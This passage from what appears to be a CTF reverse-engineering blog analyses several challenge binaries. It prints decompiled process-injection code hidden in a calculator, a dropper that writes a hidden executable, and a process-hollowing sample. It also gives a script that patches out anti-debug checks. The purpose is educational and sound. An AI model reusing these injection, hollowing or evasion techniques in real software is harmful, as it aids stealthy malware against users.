(sub_403568)(&amp;v72); v81 = &amp;v73; combine_str(v61, &#34;ZGR&#34;, &amp;v73); combine_str(&amp;v62, &#34;JSA==&#34;, &amp;v73); combine_str(&amp;v63, &#34;ya00&#34;, &amp;v73); combine_str(&amp;v64, &#34;4fQ==&#34;, &amp;v73); (sub_403568)(&amp;v73); v80 = &amp;v74; combine_str(v58, &#34;XcVy&#34;, &amp;v74); combine_str(&amp;v59, &#34;asFj&#34;, &amp;v74); combine_str(&amp;v60, &#34;4fQ==&#34;, &amp;v74); (sub_403568)(&amp;v74); v79 = &amp;v75; combine_str(v54, &#34;DeP&#34;, &amp;v75); combine_str(&amp;v55, &#34;He&#34;, &amp;v75); combine_str(&amp;v56, &#34;X0d&#34;, &amp;v75); combine_str(&amp;v57, &#34;eXJv&#34;, &amp;v75); (sub_403568)(&amp;v75); v78 = &amp;v76; combine_str(v51, &#34;bTNN&#34;, &amp;v76); combine_str(&amp;v52, &#34;X2&#34;, &amp;v76); combine_str(&amp;v53, &#34;4z&#34;, &amp;v76); (sub_403568)(&amp;v76); *&amp;v77[1] = v77; combine_str(v48, &#34;XDyFcv&#34;, v77); combine_str(&amp;v49, &#34;asFDasj&#34;, v77); combine_str(&amp;v50, &#34;4fFGQ==GA&#34;, v77); (sub_403568)(v77); Looks to be a base64 string assembled out of order by that function.\n(std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;)(&amp;std::cout, &#34;Enter your expression ([num1][+|-|*|\/][num2]): &#34;); v25 = (std::istream::operator&gt;&gt;)(&amp;std::cin, &amp;v71); v99 = &amp;math_operator; v26 = (std::operator&gt;&gt;&lt;char,std::char_traits&lt;char&gt;&gt;)(v25); (std::istream::operator&gt;&gt;)(v26, &amp;v70); if ( math_operator == &#39;\/&#39; ) { v36 = (std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;)(&amp;std::cout, &#34;Result: &#34;); v37 = sub_4022DE(v71, v70); v38 = (std::ostream::operator&lt;&lt;)(v36, v37); (std::ostream::operator&lt;&lt;)(v38, &amp;std::endl&lt;char,std::char_traits&lt;char&gt;&gt;); } else { \/\/ { ... }, for all basic operators +, -, *, \/ goto JUMP_TO_INCREMENT; } JUMP_TO_INCREMENT: ++increment_to_winapi_calls; Just your average basic calculator&hellip;\nif ( increment_to_winapi_calls == 2 ) { CurrentProcessId = GetCurrentProcessId(); hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, CurrentProcessId); if ( hProcess ) { \/\/ { ... } some string operations mem_size = (std::string::size)(written_memory); mem_str = (std::string::c_str)(written_memory); lpBaseAddress = VirtualAllocEx(hProcess, NULL, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, mem_str, mem_size, NULL); hHandle = CreateRemoteThread(hProcess, NULL, 0, lpBaseAddress, NULL, 0, NULL); WaitForSingleObject(hHandle, 12); VirtualFreeEx(hProcess, lpBaseAddress, 0, MEM_RELEASE); CloseHandle(hHandle); CloseHandle(hProcess); ++increment_to_winapi_calls; (std::string::~string)(written_memory); } With a little secret! On the second iteration of the loop (your second calculation made), a hidden code path will execute some winapi calls using the aforementioned decrypted string.\nI switched to x64dbg to see what the reassembled string was in memory without having to reverse the combine_str function. Placing a breakpoint on the WriteProcessMemory function&hellip; We can see the base64 string in memory, decoding and reversing it gives us the flag without the flag format, again&hellip; bhbureauCTF{HIdd3n_M3mory}\nSneaky (1 solve) Operative, we have recieved a suspicious executable, it seems to be erratic in behaviour. We have reason to belive one of our undercover agents embedded critical information in it. Analyse the behavior and retrieve the information. Good Luck!\nIn this challenge we get both a C binary that calls a provided DLL with exported functions. The DLL is largely irrelevant to my solve, and the only function of any significance in it is a function that does a single byte XOR.\nIn the main function, we see a random number being generated and passed into another function.\nif ( random_num == 4 ) { CreateFileW(L&#34;sneak100.exe&#34;, GENERIC_ALL, FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); fileHandle = fopen(&#34;sneak100.exe&#34;, &#34;wb&#34;); if ( !fileHandle ) exit(1); fwrite(&amp;unk_403020, 1u, count, fileHandle); fclose(fileHandle); free(Block); } If the random number generated is 4, the binary will write something that appears to be an executable to disk. During the CTF, I opted to extract this binary with a debugger in case there was any decryption done that I missed, but after some post analysis, it should be fine to rip out the binary straight from IDA. Make sure to switch to the hex view though, as IDA seems to accidentally try to disassemble the raw binary file.\nAfter we&rsquo;ve extracted out new PE file, its time to put it back into IDA! Our main function looks interesting to say the least:\nint main(int argc, const char **argv, const char **envp) { tmain(); if ( MessageBoxA( NULL, &#34;hewwo, hii there! welcome to absolutely not shady malware &gt;w&lt;&#34;, &#34;helpa &gt;w&lt;&#39;&#34;, MB_ICONINFORMATION | MB_YESNO) == IDYES ) MessageBoxA(NULL, &#34;hewwo, cutie x3\\ni suggest you twy jumping awound &gt; :3&#34;, &#34;helpa &gt; w &lt; &#39;&#34;, MB_ICONINFORMATION); else MessageBoxA( NULL, &#34;h-hewwo, pwease don&#39;t ignore me x3 i-i&#39;ll twy my best to help you, i pwomise :3 pwease give me a chance to show y&#34; &#34;ou &gt;\/\/\/&lt; i-i weawwy want to be thewe fow you, pwease x3&#34;, &#34;helpa &gt; w &lt; &#39;&#34;, MB_ICONINFORMATION); ShellExecuteW(NULL, open, &#34;c&#34;, L&#34;\/c del \/A \\&#34;sneak100.exe\\&#34;&#34;, NULL, 0); return 0; } There&rsquo;s no other calls or jumps from main, and no interesting TLS callbacks (code that runs before the main function), other than the default ones generated by MinGW binaries. For once, we will actually take some advice from the challenge and look around the binary. In the .rdata section (read only data), we discover instructions that were disassembled by ida, but not marked as a function, likely because they aren&rsquo;t in the .text section (section for executable code) and are never actually loaded or executed.\nWe can easily tell this is a function due to the function prologue, but before decompiling the code, we need to mark it as a function in IDA with the P hotkey.\nint hidden_function() { \/\/ { ... } strcpy(v5, &#34;C:\\\\Windows\\\\System32\\\\cmd.exe \/c \\&#34;j6lLbJ5vxcyTpzFBeeU6UkQMIeqqRBM3\\&#34; &gt; flag.txt&#34;); return (v4)(v5, 10); } The function has a lot going on, but at the bottom of the function, we see that IDA has inlined a strcpy that is in the format to be executed by ShellExecuteW. It writes j6lLbJ5vxcyTpzFBeeU6UkQMIeqqRBM3 to flag.txt, and so I assumed that was the flag (after adding the flag format), but this was incorrect.\nTo my knowledge, the flag is not decrypted any further than this, so it&rsquo;s time to guess the encoding! To make an educated guess, we use the dcod.fr cipher identifier.\nThe cipher is identified as base62, and we can also use dcode to decode it. We get Cookie_FOR_your_hardWork, our fourth flag with no flag format!\nPhantom Protocol (0 solves, broken) The Black Hat Bureau seems to have found another target in a commonly used developer application, MySQL DB. We have had to suspend all our database server operations, we believe the bureau has planned something big this time and whatever it is, its very dangerous for us. We want you to analyse the application and see if anyone breached any of our user accounts over at https:\/\/issessionsctf-secure-login.chals.io\nInitial Attempt Looking at the site first, it&rsquo;s just a very basic login form. There&rsquo;s nothing else here so let&rsquo;s look at the binary.\nWe are greeted with a pretty large PE file, 23MB. upon further inspection, it looks like a self contained .NET bundle. A perfect excuse to use AsmResolver, a wonderful library for modifying PE and .NET files!\nusing AsmResolver.DotNet.Bundles; class Program { static void Main(string[] args) { if (args.Length &lt;= 0) return; var manifest = BundleManifest.FromFile(args[0]); foreach (var file in manifest.Files) { var path = file.RelativePath; var contents = file.GetData(); Console.WriteLine($&#34;Extracting {path}...&#34;); File.WriteAllBytes($&#34;extracted\/{path}&#34;, contents); } } } We can extract all the files with the help of the manifest included in the binary.\nExtracting MySQLdb.dll... Extracting MySQLdb.runtimeconfig.json... Extracting Microsoft.Windows.SDK.NET.dll... Extracting WinRT.Runtime.dll... Extracting MySQLdb.deps.json... Analyzing the .NET binary with dnSpyEX, we can instantly see what looks to be a implementation of a widely known process injection trick, process hollowing. A suspended process is created with C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe but that processes memory is replaced by a different PE that is mapped into memory.\nThe goal was simple, place a breakpoint on the last WriteProcessMemory call and extract the PE from memory. There&rsquo;s a problem though!\npublic static void Main(string[] args) { if (Debugger.IsAttached) { Environment.Exit(1); } mySQL.ntM.MsgBox(IntPtr.Zero, &#34;Incompatible MySQL Version!!&#34;, &#34;ERROR&#34;, 16U); Stopwatch stopwatch = Stopwatch.StartNew(); Thread.Sleep(100); stopwatch.Stop(); if (stopwatch.ElapsedMilliseconds &gt; 110L) { Environment.Exit(1); } \/\/ { ... } Under normal conditions, the binary will always exit before getting to the process hollowing. My solution? patch it out!\nBy hitting Edit IL instructions in the context menu for the main function, we can see that the anti debug and timing checks are implemented in 20 IL instructions. We could patch these out using dnSpyEx, but we might as well get some AsmResolver usage in:\nusing AsmResolver.DotNet; using AsmResolver.DotNet.Bundles; namespace ISSessionsCTF2025_PhantomProtocol; class Program { static void Main(string[] args) { if (args.Length &lt;= 0) return; var manifest = BundleManifest.FromFile(args[0]); var mainFile = manifest.Files.First(); \/\/ the first file in the bundle is our managed DLL! var assembly = AssemblyDefinition.FromBytes(mainFile.GetData()); \/\/ get the instructions for the entrypoint (the Main() method) var mainMethod = assembly.Modules[0].ManagedEntryPointMethod; if (mainMethod?.CilMethodBody == null ) return; var instructions = mainMethod.CilMethodBody.Instructions; for (int i = 0; i &lt; 21; i++) { instructions[i].ReplaceWithNop(); \/\/ the first twenty instructions are for the antidbg and timing checks } \/\/ verify instructions look correct \/\/ var formatter = new CilInstructionFormatter(); \/\/ foreach (var instruction in instructions) \/\/ Console.WriteLine(formatter.FormatInstruction(instruction)); assembly.Write(&#34;out\/patched.dll&#34;); var newFile = new BundleFile( relativePath: &#34;MySQLdb.dll&#34;, type: BundleFileType.Assembly, contents: File.ReadAllBytes(&#34;out\/patched.dll&#34;)); manifest.Files.Remove(mainFile); manifest.Files.Add(newFile); \/\/ replace file in the bundle with the patched out, write new bundle to the filesystem manifest.WriteUsingTemplate(@&#34;out\\apphost.exe&#34;, BundlerParameters.FromExistingBundle(args[0], mainFile.RelativePath)); } } We can now put breakpoints on CreateProcessW, and WriteProcessMemory , attach a new instance of x64dbg to InstallUtil.exe after it&rsquo;s created. Then we it all our WriteProcessMemory breakpoints and wait for the PE to be populated.\nBut nothing happens! It turns out that there are multiple mistakes with how process hollowing is implemented, and this challenge is completely broken if you want to solve it dynamically :\/\nStatic Approach After the CTF, I attempted to solve this challenge statically.\nStream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(&#34;MySQLdb.Redundant.attrib.obf&#34;); byte[] array = new byte[manifestResourceStream.Length]; manifestResourceStream.Read(array, 0, array.Length); byte[] array2 = mySQL.dbs(array.ToArray&lt;byte&gt;(), 0xFB); public static byte[] dbs(byte[] d, byte hx) { byte[] array = new byte[d.Length]; for (int i = 0; i &lt; d.Length; i++) { array[i] = d[i] ^ hx; } return array; } We can grab the resource from dnSpy, and decrypt it with a 1 byte XOR using Cyberchef. Unlike all the other Windows executables in this CTF, we actually get a MSVC PE binary!\nAfter decompiling with IDA, we find nothing interesting in the main function. Armed with the experience from solving Sneaky, and the fact that this challenge is from the same author, it&rsquo;s time to search for unused functions. We do indeed find another function in the .rodata section. This function seems to assemble a large amount of stack strings, but IDA has helpfully inlined them all for us. Before I actually start trying to crack hashes, let&rsquo;s do a quick sanity check. The challenge description constantly mentions MySQL, so let&rsquo;s look up the password hash on CrackStation. We get lucky, and there&rsquo;s a hit! MySQL:D@rkn3$$\nHowever, when trying to login to the form at https:\/\/issessionsctf-secure-login.chals.io\/, this doesn&rsquo;t work.\nConclusion I hope you enjoyed reading this year&rsquo;s set of RE writeups! There were way more this year :). You can find last year&rsquo;s writeups over here.\n","permalink":"https:\/\/fastcall.dev\/posts\/iss-rev-2025\/","summary":"Write-ups for all the reverse engineering challenges in ISSessions CTF 2025.","title":"ISSessions Black Hat Bureau CTF 2025 RE challenge writeups"},{"content":"Teammates:\n0x41*32: web, osint SuperBeetleGamer: crypto, foren fastcall (me!): rev, foren Solution We came first place at BTCTF 2024 and as requested, this is my writeup for the golang2 rev challenge.\nThe original binary for this challenge was a stripped MACH-O mac binary. I spent quite a lot of time looking at this, and if you are also looking at stripped Golang binaries, the following tooling may be helpful:\nAlphaGolang - Juan Andres Guerrero-Saade at SentinelLabs created these awesome IDA scripts to help label and retype everything in the Golang standard library, as go is usually statically linked. Unfortunately, I couldn&rsquo;t get the parts of the scripts to work with my newer IDA version, and IDA improved it&rsquo;s metadata detection significantly in later versions. This is still useful if you have an old version, and a blog post on how its even possible to recover function names from a &ldquo;stripped&rdquo; Golang binary may be on its way\ud83d\udc40\ud83d\udc40\ud83d\udc40. GoReSym- This tool by Mandiant attempts to achieve almost the same thing, but is more up to date and has scripts for both IDA and Ghidra. I ended up not needing to use it for this challenge, but it may be useful in the future. Just as 0x41*32 was about to spin up a mac OS VM on his VPS for me to use the IDA debug server with, the organizers updated the challenge with a new binary, compiled for Linux this time.\nAfter talking to the organizers at the end of the CTF, I found out that one of the important functions got compiled out and was never in the original binary to begin with. (don&rsquo;t you guys test these? )\nAfter loading the binary into IDA, we get a nice surprise: DEBUG INFO?\nI don&rsquo;t know if this was intentional or not, but the Linux binary was not stripped. Unlike on other platforms (Windows uses .pdb files, mac OS stores debug info in either object files or .dsym files), Linux debug information comes attached to the binary, which does lead to a lot of scenarios where it&rsquo;s debug info is shipped to production, and not just with CTFs.\nIn Golang binaries, main_main() is always the real entry point, so lets jump there and begin reverse engineering.\ntcp_str.str = (uint8 *)&#34;tcp&#34;; tcp_str.len = 3LL; ip_str.str = (uint8 *)&#34;137.184.106.142:1337&#34;; ip_str.len = 20LL; conn = net_Dial(tcp_str, ip_str); w.len = (int)conn._r0.data; v22.data = conn._r0.tab; if ( conn._r1.tab ) { a_16 = v1; a[0] = &amp;RTYPE_string_0; a[1] = &amp;Error_connecting_to_server; \/\/ Error connecting to server: *(_QWORD *)&amp;a_16 = conn._r1.tab-&gt;_type; *((_QWORD *)&amp;a_16 + 1) = conn._r1.data; stdout.data = os_Stdout; stdout.tab = (runtime_itab *)&amp;go_itab__ptr_os_File_comma_io_Writer; error_connecting_to_server_str.array = (interface_ *)a; error_connecting_to_server_str.len = 2LL; error_connecting_to_server_str.cap = 2LL; fmt_Fprintln(stdout, error_connecting_to_server_str); os_Exit(1LL); conn._r0.tab = (runtime_itab *)v22.data; conn._r0.data = (void *)w.len; } I saw this call to net_Dial(), and after looking at the documentation, I realized that the binary was talking to the server on a low level tcp interface, quite similar to netcat. Testing my theory, I tried to connect to the server and I was indeed successful!\n$ nc 137.184.106.142 1337 give password: Access denied connected_str_16 = v1; connected_str[0] = &amp;RTYPE_string_0; connected_str[1] = &amp;Connected_toserverat; \/\/ Connected to server at ip_str_2.str = (uint8 *)&#34;137.184.106.142:1337&#34;; ip_str_2.len = 20LL; ip_str_2.str = (uint8 *)runtime_convTstring(ip_str_2); *(_QWORD *)&amp;connected_str_16 = &amp;RTYPE_string_0; *((_QWORD *)&amp;connected_str_16 + 1) = ip_str_2.str; ip_str_2.len = (int)os_Stdout; ip_str_2.str = (uint8 *)&amp;go_itab__ptr_os_File_comma_io_Writer; connected_str_1.len = 2LL; connected_str_1.cap = 2LL; connected_str_1.array = (interface_ *)connected_str; fmt_Fprintln((io_Writer)ip_str_2, connected_str_1); main_store_password(); Huh, that main_store_password() function sure like it may have that password&hellip;\npassword_str.array = (uint8 *)runtime_newobject((internal_abi_Type *)&amp;RTYPE__20_uint8); qmemcpy(password_str.array, &#34;super_duper_password&#34;, 20); password_str.len = 20LL; password_str.cap = 20LL; a.array = (interface_ *)&amp;RTYPE__slice_uint8_0; a.len = (int)runtime_convTslice(password_str); password_str.len = (int)os_Stdout; password_str.array = (uint8 *)&amp;go_itab__ptr_os_File_comma_io_Writer; password_str.cap = (int)&amp;a; v1 = 1LL; v2 = 1LL; fmt_Fprintln(*(io_Writer *)&amp;password_str.array, *(_slice_interface_ *)&amp;password_str.cap); Plaintext? Wait what?\npassword = rax ; _slice_uint8 mov dword ptr [password], 65707573h ; epus mov rcx, 5F72657075645F72h ; _repud_r mov [password+4], rcx mov rcx, 64726F7773736170h ; drowssap mov [password+0Ch], rcx The password is passed as an immediate value in a stack string like format, however IDA detects this pattern and outlines the instructions into a memcpy().\nAfter entering password into the server:\n$ nc 137.184.106.142 1337 give password:super_duper_password super_duper_password btctf{f0und_th3_g0ph3r_h0le} We get the flag! Why doesn&rsquo;t this have more solves&hellip; btctf{f0und_th3_g0ph3r_h0le}\nPost-mortem So turns out, after I downloaded the binary but before other people did, organizers swapped the binary with one that is unsolvable.\nThanks to lolmenow for the following timeline:\nTIMELINE OF GOLANG2 Episode 1: Disaster strikes upon BTCTF\n[05\/24\/2024 11pm EST] A new challenge titled golang2 was released after all the pwn challenges went down.\n[05\/25\/2024 12:28am EST] JP, an organizer, compiled the binary incorrectly. A new linux version was swapped.\n[05\/25\/24 12:30am EST] fastcall downloads the binary and starts reversing.\n[UNKNOWN TIME] Somehow, the binary was silently swapped. The time and date is still unknown.\n[05\/25\/24 12:42am EST] A team titled &ldquo;.;,;. But Canadian&rdquo; was the first team to solve the challenge, specifically fastcall.\n[05\/25\/24 10:00:41 IST] Somehow, the binary was swapped twice! With a user Abhi having a different file then everyone else had.\n[05\/25-05\/26] Chaos ensues as no other team is able to solve it.\n[05\/26\/2024 4:00pm] CTF ends and fastcall publishes the writeup for the challenge.\n[05\/26\/2024 4:23pm] fastcall realizes that the binary was swapped and notifies everyone. He then uploads the correct binary.\n[05\/26\/2024 4:30pm] Everyone who attempted to solve this problem realizes the error.\n[05\/26\/2024-PRESENT] Everyone complains about the challenge. Nothing can be done.\n","permalink":"https:\/\/fastcall.dev\/posts\/btctf-rev-2024\/","summary":"A writeup for the Go reverse engineering challenge in BTCTF 2024.","title":"BTCTF 2024 golang2 rev challenge writeup"},{"content":"Initial Look The challenge gives us a single PE file, food-without-salt.exe. Running the challenge reveals that it is a game made using the Godot engine, which is free and open source. I had never reverse engineered a Godot game before, and so I googled for decompilers and found gdsdecomp relatively quickly. The tool is capable of not only decompilation but full project recovery of a Godot game, perfect!\nLoading the binary into gdsdecomp, we run into the first surprise, it&rsquo;s encrypted! Googling around some more, I discovered this forum thread outlining how the encryption works from a developer&rsquo;s perspective. It links to gdke, a tool that can easily extract the encryption key from most Godot games.\nI tried to use gdke to extract the encryption key from the game, however the extracted encryption key did not work, and was a byte too short to be a valid encryption key.\nI got stumped here and assumed that this was because the challenge was modified to decrypt the game in a different way. This lead to a multiple hour long wild goose chase in IDA of trying to reverse engineer modifications to a function that was never changed. After getting this far on Friday, I took a break from SDCTF as TBTL CTF 2024, was going on simultaneously, and my teammates seemed more interested in playing it instead.\nThe actual solution to this problem I ended up finding was a lot funnier&hellip;\nCheating? I returned on Sunday with a refreshed mind but no new plan. After a lot more confusion and head-scratching, I noticed that gdke had a new release out, and the update fixed the issue with key extraction! The key is now padded correctly with the extra zero\nWas this just some huge coincidence? Some dumb luck? Of course not.\nSomeone playing the CTF had reported the issue as a bug to the maintainer. The issue was then fixed and pushed via a new release during the CTF, of course without the knowledge that it was an active ctf challenge. The person who reported the bug attempted to hide the fact that this was the ctf challenge binary by renaming the file. Howerver, due to the very poor redaction you can easily spot the encryption key for the challenge in the screenshot.\nSolution After obtaining the encryption key, we can enter it into gdsdecomp to extract and recover the Godot project in it&rsquo;s entirety. After extraction, we open up the project with the correct version of Godot Editor, which you can find in the metadata of the binary, or by just looking in the gdsdecomp logs, which will tell you what version of Godot was used. After opening the project up in the editor and searching around a bit, we find the flag in the tilemap, off screen from the game.\nSDCTF{Welc0m3_Back_Brack3ys}\n","permalink":"https:\/\/fastcall.dev\/posts\/sdctf-rev-2024\/","summary":"A writeup for the Godot game reverse engineering challenge in SDCTF 2024.","title":"SDCTF 2024 food-without-salt game rev challenge writeup"},{"content":"Here are my writeups for all the reverse engineering challenges in Espionage CTF 2024. I managed to get first blood on all of the RE challenges except for ScrambledSquares.\nUofTCTF Members:\n__fastcall (me): rev drec: pwn Tyler_: forensics and osint SteakEnthusiast: web NOTE: All code in this writeup has been beautified manually for your reading pleasure. It may not represent the exact disassembly, but it does represent the semantics of the code.\nCoin Hunt (15 points) This challenge gives us a single file CoinHunt.\nLet&rsquo;s take a look at the file with Detect It Easy, a useful program for determine the type of files and signatures of common compilers, packers, etc.\nDIE recognizes this file as a UPX-packed PE (portable executable) file. All other signatures can be ignored since they are of the packer and not the original executable. I thought of 3 possible scenarios after seeing this (from increasing order of likely-hood):\nThe file is packed with a modified version of UPX. The file is packed with a packer that pretends to be UPX, or DIE&rsquo;s signatures are wrong. The file is packed with a unmodified version of UPX. As a sanity check, I decided to verify that this wasn&rsquo;t a unmodified version of UPX, even though DIE says otherwise.\n$ upx -d CoinHunt\nUltimate Packer for eXecutables Copyright (C) 1996 - 2024 UPX 4.2.2 Markus Oberhumer, Laszlo Molnar &amp; John Reiser Jan 3rd 2024 File size Ratio Format Name -------------------- ------ ----------- ----------- 15360 &lt;- 9728 63.33% win64\/pe CoinHunt Unpacked 1 file. ???????\nIt turns out that it&rsquo;s just unmodified UPX and we didn&rsquo;t have to do any manual unpacking :D\nSince this is a MSVC C\/C++ binary, I opened it up in the industry standard disassembler, IDA Pro\nLoad the binary as a x86-64 PE with the default options&hellip;\nIDA finds and drops me off at the main function\nLet&rsquo;s hit F5 to decompile the binary&hellip;\nint __fastcall main(int argc, const char **argv, const char **envp) { HANDLE coin1_handle; HANDLE coin2_handle; HANDLE coin3_handle; HANDLE coin4_handle; const char *ascii_flag; char wrong_file_msg[56]; DWORD NumberOfBytesWritten = 0; strcpy(wrong_file_msg, &#34;Wrong Coin \\n,---. \\n&#39; __O&gt;` \\n( (__\/ ) \\n.-----, \\n `---&#39;\\n&#34;); CreateDirectoryW(L&#34;C:\\\\Users\\\\Public\\\\Documents\\\\Coin1&#34;, NULL); coin1_handle = CreateFileW(L&#34;C:\\\\Users\\\\Public\\\\Documents\\\\Coin1\\\\Coin1.txt&#34;, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(coin1_handle, wrong_file_msg, strlen(wrong_file_msg), &amp;NumberOfBytesWritten, NULL); CloseHandle(coin1_handle); CreateDirectoryW(L&#34;C:\\\\Users\\\\Public\\\\Downloads\\\\Coin2&#34;, NULL); coin2_handle = CreateFileW(L&#34;C:\\\\Users\\\\Public\\\\Downloads\\\\Coin2\\\\Coin2.txt&#34;, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(coin2_handle, wrong_file_msg, strlen(wrong_file_msg), &amp;NumberOfBytesWritten, NULL); CloseHandle(coin2_handle); CreateDirectoryW(L&#34;C:\\\\Users\\\\Public\\\\Music\\\\Coin3&#34;, NULL); coin3_handle = CreateFileW(L&#34;C:\\\\Users\\\\Public\\\\Music\\\\Coin3\\\\Coin3.txt&#34;, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(coin3_handle, wrong_file_msg, strlen(wrong_file_msg), &amp;NumberOfBytesWritten, NULL); CloseHandle(coin3_handle); ascii_flag = &#34; __-----__ \\n&#34; &#34;..;;;--&#39;~~~`--;;;.. \\n&#34; &#34;\/;-~EspionageCTF{$ilver@_C0In}~-. \\n&#34; &#34;\/\/ ,;;;;;;;; \\\\ \\n&#34; &#34;.\/\/ ;;;;; \\\\ \\n&#34; &#34;|| ;;;;( \/.| || \\n&#34; &#34;|| ;;;;;;; _ || \\n&#34; &#34;|| &#39;;; ;;;;= || \\n&#34; &#34;||LIBERTY | &#39;&#39;;;;;;; || \\n&#34; &#34;\\\\ ,| &#39; &#39;|&gt;&lt;| 1995 \/\/ \\n&#34; &#34; \\\\ | | A \/\/ \\n&#34; &#34; `;.,|. | &#39;.-&#39;\/ \\n&#34; &#34; ~~;;;,._|___.,-;;;~&#39; \\n&#34; &#34; &#39;&#39;=--&#39; \\n&#34;; CreateDirectoryW(L&#34;C:\\\\Users\\\\Public\\\\Pictures\\\\Coin4&#34;, NULL); coin4_handle = CreateFileW(L&#34;C:\\\\Users\\\\Public\\\\Pictures\\\\Coin4\\\\Coin4.txt&#34;, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(coin4_handle, ascii_flag, strlen(ascii_flag), &amp;NumberOfBytesWritten, NULL); CloseHandle(coin4_handle); return 0; } We can get a very clear picture of what the binary does, writing to various directories in the Public user folder. The flag is visible in the ASCII art. EspionageCTF{$ilver@_C0In}\nSkull (15 points) We are given a encrypted 7-zip file, Skull.7z, and the password infected.\nAfter extracting the zip file, we are once again greeted with a MSVC C\/C++ binary. There are no DIE signatures for any packers, and we can confirm it&rsquo;s not packed by looking at the entropy graph. Both compression and encryption will reduce the uniqueness of the bytes in the PE file, making it less random. A consistently high entropy is a good sign a file is packed.\nLoading the PE in IDA Pro, and examining the main function.. we find the flag, in plaintext? What?!\nqmemcpy(flag_buffer, &#34;{F@LC0N$_B!rd}&#34;, sizeof(flag_buffer)); Looking at the disassembly, we see a stack string, that contains our flag.\nAt the time of writing, both IDA Pro (8.3) and Binary Ninja (3.5.4526) correctly recognize this pattern and outline the instructions into a memcpy(), with only Ghidra (11.0) failing. To future challenge authors, it seems like just using simple stack strings won&rsquo;t be tricking even the most novice reverse engineers anymore!\nmov [rbp+320h+var_20], 4C40467Bh mov [rbp+320h+var_1C], 244E3043h mov [rbp+320h+var_18], 7221425Fh mov [rbp+320h+var_14], 7D64h mov [rbp+320h+var_20], &#39;L@F{&#39; mov [rbp+320h+var_1C], &#39;$N0C&#39; mov [rbp+320h+var_18], &#39;r!B_&#39; mov [rbp+320h+var_14], &#39;}d&#39; EspionageCTF{F@LC0N$_B!rd}\nTop Secret (15 points) This challenge provide us with another encrypted 7zip archive, with the same password of infected. The extracted binary is another MSVC C\/C++ PE file, and I loaded it into IDA Pro just as with the last challenge.\nThe flag in this challenge is in plain text in the .rodata section, and you can even strings for it. In the disassembly, the strcpy() call is outlined, revealing the flag.\nstrcpy(lpBuffer, &#34;EspionageCTF{CL@55iFed_C0nt$nt}&#34;); EspionageCTF{CL@55iFed_C0nt$nt}\nScrambledSquares (87 points) Now this sponsor challenge from Aliakbar Zahravi at TrendMicro is a lot more interesting, uses techniques similar to real malware like dynamic api resolving, and was overall very fun to solve. Thanks for creating it!\nWe are given an archive containing a lot of .DAT files, what looks to be presumably a decrypter written in Python, ctf.py, and the following instructions:\nCTF Challenge: Brief Hints \u2022 Stage 1: Investigate the Python code\u2019s method of serial number generation. Focus on MD5 and the relevance of dates. \u2022 Stage 2: Look for hidden elements within the code for the password. \u2022 Stage 3: Use the password wisely to reveal a new file format. \u2022 Stage 4: The executable holds clues about its own usage. \u2022 Stage 5: Apply what you learned from the exe analysis for decryption. \u2022 Stage 6: A QR code awaits, holding more than meets the eye. \u2022 Stage 7: Decode the QR contents to transition to a new file type. \u2022 Stage 8: Unpack the final layer to uncover the flag. Remember: Each clue is a piece of a larger puzzle. Pay attention to the details and think creatively. import sys from PyQt5 .QtWidgets import QApplication ,QWidget ,QLineEdit ,QPushButton ,QVBoxLayout ,QLabel import hashlib import subprocess from Crypto .Cipher import AES from Crypto .Protocol .KDF import PBKDF2 import os from datetime import datetime import pefile def tthfghfjfr4343 (OOOO00000OOO00O00 ): OOOO00O00000OOOOO =hashlib .md5 () with open (OOOO00000OOO00O00 ,&#34;rb&#34;)as OO0O0O00OOOOO0OOO : for OOOOOO0OO0O0OOO00 in iter (lambda :OO0O0O00OOOOO0OOO .read (4096 ),b&#34;&#34;): OOOO00O00000OOOOO .update (OOOOOO0OO0O0OOO00 ) return OOOO00O00000OOOOO .hexdigest () class CTFChallenge (QWidget ): def __init__ (O0OOOOOOO00OO0OO0 ): O0OOOOOOO00OO0OO0 .attemptCount =0 O0OOOOOOO00OO0OO0 .final_password =(((0x2a |0x42 )&gt;=(0x8d |0x5 ))and (chr (0x2d ^0x62 ))or (chr (0x53 &amp;0x57 )))+(((0x84 |0x1 )&lt;(0xc0 |0xc0 ))and (chr (0x34 |0x60 ))or (chr (0x7c &amp;0x7b )))+(((0x2a |0x7a )&gt;(0x17c &amp;0x114 ))and (chr (0x7a |0x20 ))or (chr (0x72 |0x22 )))+(((0x105 |0x121 )&lt;=(0x2 |0x110 ))and (chr (0x2a ^0x1 ))or (chr (0x23 |0x11 )))+(((0xc0 |0xe2 )&gt;(0x122 ^0x3d ))and (chr (0x3f &amp;0x32 ))or (chr (0x10 |0x24 )))+(((0x83 |0x8 )&lt;=(0xb4 |0xec ))and (chr (0x48 |0x2d ))or (chr (0x28 |0x60 )))+(((0x84 |0x1 )&gt;(0x94 |0x84 ))and (chr (0x40 |0x3 ))or (chr (0x4b &amp;0x43 )))+(((0x60 |0x10 )&lt;=(0x17e &amp;0x118 ))and (chr (0x11 |0x21 ))or (chr (0x31 &amp;0x35 )))+(((0x48 |0x32 )==(0x31 |0x63 ))and (chr (0x26 |0x45 ))or (chr (0x77 &amp;0x78 )))+(((0xd7 &amp;0xfb )&lt;=(0x3c ^0xdf ))and (chr (0x68 |0x48 ))or (chr (0x30 ^0x55 )))+(((0xf3 &amp;0xbc )!=(0x14e &amp;0x10f ))and (chr (0x33 |0x23 ))or (chr (0x31 ^0x2 )))+(((0x83 |0xb0 )&gt;=(0x1d0 ^0xcb ))and (chr (0x3a ^0x56 ))or (chr (0x3b ^0x49 )))+(((0xa0 |0xa0 )!=(0x94 |0x90 